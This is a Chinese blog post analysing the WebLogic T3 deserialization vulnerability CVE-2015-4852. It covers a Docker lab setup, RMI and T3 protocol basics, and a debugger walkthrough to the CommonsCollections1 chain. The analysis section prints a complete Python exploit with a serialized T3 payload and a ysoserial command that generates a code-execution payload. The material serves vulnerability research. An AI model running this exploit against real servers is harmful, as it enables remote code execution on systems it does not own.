weblogic之cve-2015-4852分析(重寫)
阿新 • • 發佈:2021-03-13
# 前言
有時間打算分析weblogic歷史漏洞,但是又要面試啥的,沒空。又剛好最近面試會問weblogic反序列化。具體啥時候分析weblogic反序列化,可能會在護網後,或者我開學了再分析。期間可能我會分析一下fastjson的吧。環境我都打包到附件中
# 0x01、環境搭建
不想動手去下載的,可以去網盤這邊,我已經打包好了
連結:https://pan.baidu.com/s/1bOo82tAIC0ia95Z0nKQp5w
提取碼:1234
複製這段內容後開啟百度網盤手機App,操作更方便哦
漏洞環境:https://github.com/QAX-A-Team/WeblogicEnvironment
jdk:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html
weblogic:
**連結:https://pan.baidu.com/s/1I3FUCkuD7lfwdEFo1Yg5hQ
提取碼:ungx**
```
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
```
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307110849687-85742946.png)
然後在這裡需要去將一些weblogic的依賴Jar包給匯出來進行遠端除錯
```shell
docker exec -it weblogic1036jdk7u21 /bin/bash
cd /u01/app/oracle/
cp -r middleware/ /root/WeblogicEnvironment-master/
也可以使用如下命令
docker cp 363:/root .
mkdir jar_lib
find ./ -name *.jar -exec cp {} jar_lib/ \;
```
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307124024320-145454417.png)這邊就匯出成功了
# 0x02、Weblogic遠端除錯
## 第一步
修改docker-compose.yml檔案,開啟8453埠
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307111153086-1908017283.png)
## 第二步
```
cd u01/app/oracle/Domains/ExampleSilentWTDomain/bin/
vi setDomainEnv.sh
```
新增兩行程式碼
```
debugFlag="true"
export debugFlag
```
這個環境是預設就有了,所以這邊只是講一下
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307125304716-249861193.png)
最後差不多就這樣了,還有其他地方就參考網上文章,我就不一一講解了
```
docker exec -it weblogic1036jdk7u21 /bin/bash //進入docker
```
地址為:http://192.168.92.130:7001/console/login/LoginForm.jsp
# 0x03、RMI通訊
在瞭解RMI前還需要弄懂一些概念。
```
RMI(RemoteMethodInvocation,遠端方法呼叫)是用Java在JDK1.2中實現的,它大大增強了Java開發分散式應用的能力。
```
Java本身對RMI規範的實現預設使用的是JRMP協議,也可以選擇IIOP協議。而在Weblogic中對RMI規範的實現使用T3協議。
```
JRMP:JavaRemoteMessageProtocol,Java遠端訊息交換協議。這是執行在Java RMI之下、TCP/IP之上的線路層協議。該協議要求服務端與客戶端都為Java編寫,就像HTTP協議一樣,規定了客戶端和服務端通訊要滿足的規範。
```
**RMI(Remote Method Invocation)**即Java遠端方法呼叫,RMI用於構建分散式應用程式,RMI實現了Java程式之間跨JVM的遠端通訊。顧名思義,遠端方法呼叫:客戶端比如說是在手機,然後服務端是在電腦;同時都有java環境,然後我要在手機端呼叫服務端那邊的某個方法,這就是,遠端方法呼叫;
使用RMI的時候,客戶端對遠端方法的呼叫就跟對同一個Java虛擬機器(也就是本地)上的方法呼叫是一樣的。一般呼叫和RMI呼叫有一點不同,雖然對客戶端來說看起來像是本地的,但是客戶端的stub會通過網路發出呼叫,所以會丟擲異常;其中還是會涉及到Socket和串流的問題,一開始是本地呼叫,然後就代理(stub)會轉成遠端,中間的資訊是如何從Java虛擬機發送到另外一臺Java虛擬機器要看客戶端和服務端的輔助設施物件所用的協議而定;**使用RMI的時候,需要選擇協議:JRMP或IIOP協議;JRMP是RMI的原生的協議,也就是預設JRMP協議。而IIOP是為了CORBA而產生的**~~~
**遠端方法呼叫,具體怎麼實現呢?**
遠端伺服器提供具體的類和方法,本地會通過**某種方式**獲得遠端類的一個代理,然後通過這個代理呼叫遠端物件的方法,方法的引數是通過序列化與反序列化的方式傳遞的,所以,
**1.** 只要服務端的物件提供了一個方法,這個方法接收的是一個Object型別的引數
**2.** 且遠端伺服器的classpath中存在可利用pop鏈,那麼我們就可以通過在客戶端呼叫這個方法,並傳遞一個精心構造的物件的方式來攻擊rmi服務。
某種方式獲得遠端物件的代理,那麼具體是怎麼的實現機制呢?RMI模式中除了有Client與Server,還藉助了一個Registry(註冊中心)。
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313103221617-295747100.png)
其中Server與Registry可以在同一伺服器上實現,也可以佈置在不同伺服器上,現在一個完整的RMI流程可以大概描述為:
1. Registry先啟動,並監聽一個埠,一般為1099
2. Server向Registry註冊遠端物件
3. Client從Registry獲得遠端物件的代理(這個代理知道遠端物件的在網路中的具體位置:ip、埠、識別符號),然後Client通過這個代理呼叫遠端方法,Server也是有一個代理的,Server端的代理會收到Client端的呼叫的方法、引數等,然後代理執行對應方法,並將結果通過網路返回給Client。
直接看圖,話不多說
![](https://img2020.cnblogs.com/blog/2099765/202101/2099765-20210109143755957-1514225790.png)
RMI呼叫遠端方法的大致如下:
1. `RMI客戶端`在呼叫遠端方法時會先建立`Stub(sun.rmi.registry.RegistryImpl_Stub)`。
2. `Stub`會將`Remote`物件傳遞給`遠端引用層(java.rmi.server.RemoteRef)`並建立`java.rmi.server.RemoteCall(遠端呼叫)`物件。
3. `RemoteCall`序列化`RMI服務名稱`、`Remote`物件。
4. `RMI客戶端`的`遠端引用層`傳輸`RemoteCall`序列化後的請求資訊通過`Socket`連線的方式傳輸到`RMI服務端`的`遠端引用層`。
5. `RMI服務端`的`遠端引用層(sun.rmi.server.UnicastServerRef)`收到請求會請求傳遞給`Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)`。
6. `Skeleton`呼叫`RemoteCall`反序列化`RMI客戶端`傳過來的序列化。
7. `Skeleton`處理客戶端請求:`bind`、`list`、`lookup`、`rebind`、`unbind`,如果是`lookup`則查詢`RMI服務名`繫結的介面物件,序列化該物件並通過`RemoteCall`傳輸到客戶端。
8. `RMI客戶端`反序列化服務端結果,獲取遠端物件的引用。
**而更通俗點來說:**
```
1. 客戶端請求代理
2. Stub編碼處理訊息
3. 訊息傳輸
4. 到達管家skeleton並處理資訊
5. 管家skeleton把資訊提交給server
6. server接收到請求
7. server把請求的結果給管家
8. 管家skeleton把結果轉交給stub
9. 代理Stub對結果解碼
10. Stub把解碼的結果交給client。
```
具體可以參考該文章[RMI由淺入深(一)](https://www.cnblogs.com/0x7e/p/14254746.html),那麼我們知道了什麼是RMI通訊。RMI就是對伺服器上的方法進行呼叫。那麼weblogic上的RMI呢,在此處的`cve-2015-4852`是基於RMI T3協議反序列化導致的漏洞。兩者有什麼區別嗎?
兩者其實是一樣的。只是weblogic這邊的rmi通訊用T3協議,只是優化了java rmi。T3傳輸協議是WebLogic的自有協議,Weblogic RMI就是通過T3協議傳輸的(可以理解為序列化的資料載體是T3)。
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313110037531-1681583274.png)
Java RMI預設使用的專有傳輸協議(或者也可以叫做預設協議)是JRMP,Weblogic RMI預設使用的傳輸協議是T3。T3協議對序列化的過程,包括一些特性,心臟跳動等等,進行了一些列優化,並且對rmi客戶端量進行了增加等等
# 0x04、從歷史長河探究cve-2015-4852
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307143956797-1532270028.png)
摘取一張圖,具體從哪裡拿的,我也給忘記了,翻閱了太多文章了。可以看出這個cve-2015-4852是這些的祖宗。那我們從這個祖宗開始分析。從漏洞型別這邊看,我們知道這個是T3反序列化漏洞,也就是說,是因為T3協議,從而導致的反序列化漏洞;那我們無可避免的去看看T3協議是什麼東西
## 1、T3協議概述
WebLogic Server 中的 RMI 通訊使用 T3 協議在 WebLogic Server 和其他 Java 程式(包括客戶端及其他 WebLogic Server 例項)間傳輸資料。同時T3協議包括
1. 請求包頭
2. 請求主體
因此,在T3資料包構造過程中,需要傳送兩部分的資料。
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307153843180-97941712.png)
我們通過部署好的環境,以及[現成的payload](https://www.anquanke.com/post/id/219985#h3-13),去看看這個協議包情況
## 2、T3協議
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307154238105-472242707.png)
```
t3 12.2.1
AS:255
HL:19
MS:10000000
PU:t3://us-l-breens:7001
```
可以看出這是它的請求頭。,本文測試時傳送的T3協議頭為
```
t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n
第一行為“t3”加weblogic客戶端的版本號。
```
weblogic伺服器的返回資料為
```
HELO:10.3.6.0.false\nAS:2048\nHL:19\n\n
第一行為“HELO:”加weblogic伺服器的版本號
```
weblogic客戶端與伺服器傳送的資料均以“\n\n”結尾。
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307160852667-465177409.png)
可能會問這個地方和其他地方的T3協議怎麼不一樣?因為我用的exp中,它是偽造自定義了請求包的。可參考[文章](https://blog.csdn.net/weixin_45728976/article/details/105063410)。
也就是說,如何判斷對方是否使用T3協議等等,可以對伺服器進行發包,傳送請求頭,對方則會返回weblogic伺服器版本
## 3、T3攻擊方式
- 第一種:將weblogic傳送的java序列化資料的地2到第7部分的反序列化資料進行替換
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307161834472-667120481.png)
- 第二種:將weblogic傳送的JAVA序列化資料的第一部分與惡意的序列化資料進行拼接。也就是替換第一部分的資料
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307162400442-528006101.png)
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307163345406-1392976202.png)
以上來自網上文獻:http://drops.xmd5.com/static/drops/web-13470.html
那麼我們就來驗證一下,由於我此處是現成exp,所以進行替換序列化資料進行攻擊的時候,可能數量不一樣
也就是說,我們的傳送的T3協議,可以簡單的理解為兩部分:非序列化資料,和序列化資料。而序列化部分又以ac ed繼續進行劃分
# 0x05、cve-2015-4852 分析
現在我們理論概念瞭解的差不多了,我們這邊就驗證一下序列化內容是否跟我們猜想的一致
python exp程式碼:
```python
#!/usr/bin/python
import socket
import struct
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
# Send headers
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print 'sending "%s"' % headers
sock.sendall(headers)
data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data
payloadObj = open(sys.argv[3],'rb').read()
payload='\x00\x00\x09\xe4\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
payload=payload+payloadObj
payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'
print 'sending payload...'
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])
#print len(payload)
outf = open('pay.tmp','w')
outf.write(payload)
outf.close()
sock.send(payload)
```
yso生成惡意程式碼:
```
java -jar ysoserial.jar CommonsCollections1 "touch /file/22222.txt" > payload.tmp
```
![python](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313112041913-465469411.png)
```cmd
python2 exp.py 192.168.92.130 7001 payload.tmp
```
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313112317328-843156254.png)
根據補丁位置,是在這幾個地方進行新增判斷,那我們直接在`InboundMsgAbbrev#readObject()`下斷點。因為要rce的話必須要`readObject()`進行反序列化
```
wlthint3client.jar:weblogic.rjvm.InboundMsgAbbrev
wlthint3client.jar:weblogic.rjvm.MsgAbbrevInputStream
weblogic.jar:weblogic.iiop.Utils
```
我們在`InboundMsgAbbrev`類中,Ctrl+f查詢readObject,然後在此處下斷點。
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307164036476-1259561731.png)
然後使用exp去傳送惡意請求,然後我們去看看斷點位置
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307164146901-1981433324.png)
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307164447344-871178500.png)
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307164538018-1264901386.png)
可以看出這邊`var1`裡面儲存的是我們請求的內容,然後呼叫`read()`方法,賦值給`var2`.
我們進入`read()`看看是什麼東西
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307164947775-1303981133.png)
這邊為-1,所以會呼叫父類的read()方法,那麼我們看看這個類繼承了什麼父類
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313112852896-668195403.png)
所以我們知道它會跳到`ChunkedDataInputStream#read()`方法中。我們F7跟進去檢視
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313112947659-1019929848.png)
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313113136908-1638385186.png)
這邊我們可以思考是不是這些序列化資料的大小呢?
![img](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307164447344-871178500.png)
![img](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210307164538018-1264901386.png)
因為是false,所以直接跳過這個條件,進入了return;
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313113835004-400595980.png)
然後返回給了var2中
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313114443918-452376711.png)
此處通過switch對`var2`值進行判斷,此處為0,所以進入了第一個條件語句
```
return (new InboundMsgAbbrev.ServerChannelInputStream(var1)).readObject();
```
那麼我們先進入`InboundMsgAbbrev#ServerChannelInputStream()`中檢視虛實
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313114904376-1636608201.png)
進入後,繼續深入`getServerChannel()`
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313115930724-1114402531.png)
`this.connection`之中儲存著一些連線的資料,如地址,埠等等,然後呼叫`getChannel()`,這邊是處理T3協議的socket地方;我們F7跟進檢視
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313174531252-777878097.png)
我們進入之後可以看到還有靜態程式碼塊,而這靜態程式碼塊則是伺服器返回過來的版本,我們繼續看看
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313174758860-1229586491.png)
隨後會return 回這串地址,埠資訊。我們再f8返回
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313174914741-1276532184.png)
我們跳了三層,返回到之前的路口點,那麼接下來我們就是進入`InboundMsgAbbrev#readObject()`中
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313175108329-1404024263.png)
此處我們跳到了`read()`當中,因為前面的不重要,我們也不需要深究了
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313175217839-1755342335.png)
這邊再次進入到父類中的`read()`方法中,我們依舊進入到了`ChunkedInputStream# read()`,該方法主要是讀取head資料也就是我們傳送的包
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313175602803-1570267495.png)
隨後繼續返回到了上一步
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313175737751-1641030482.png)
幾次的F7和F8後,進入了`read(byte[] var1, int var2, int var3)`中
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313180125809-1464637227.png)
因為條件不成立,所以繼續進入return當中,我們F7跟進
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313180703701-84781939.png)
往後執行,可以發現這幾個方法是對資料流進行分塊處理,將序列化部分分塊,依次解析每塊的類,然後去執行
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313181911849-985507258.png)
我們直接在`InboundMsgAbbrev#resolveClass()`方法下個斷點,而此處,也就是打補丁的地方,此處打上補丁,從而出現了cve-2016-0638;這是後話。而我們看到了`AnnotationInvocationHandler`。這不就是CC1中的反序列化入口點嗎,我們進入看看
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313182206647-297176756.png)
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313182233118-1276912754.png)
可以看到一個很有意思的地方,那就是`Class.forname()`,通過反射獲取載入指定的類。
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313182548527-210612156.png)
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313182653395-1222402985.png)
而這之後執行,我們可以發現這些獲取的都是CC1利用鏈中所需要的類。這就很有意思了~~
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313182922450-1522953871.png)
F9不斷的執行結束後可以發現,這邊建立了該檔案。那麼我們重新發包一下,直到遇到`java.lang.Override`不按F9了。我們直接F7一步步慢慢的看
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313183548886-808568655.png)
我們可以看到這不就是CC1鏈中的觸發方法嗎??這裡就很佩服大佬們了
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210313183750947-1903539114.png)
# 0x05 漏洞原理與總結
從入口點開始`weblogic.rjvm.InboundMsgAbbrev#readObject`方法開始。通過`read()`方法,讀取T3資料流的序列化部分依次分塊解析類。`InboundMsgAbbrev#resolveClass()`內部使用`Class.forName`來從類序列化獲取到對應類的一個Class的物件。進行相對應的點例項化並讀取了`AnnotationInvocationHandler`觸發了此處CC1的利用鏈。最後在`AbstractMapDecorator#entrySet()`方法觸發,達到了rce目的。此漏洞之後有必要再看看,咳咳
![](https://img2020.cnblogs.com/blog/2099765/202103/2099765-20210308110936285-1504125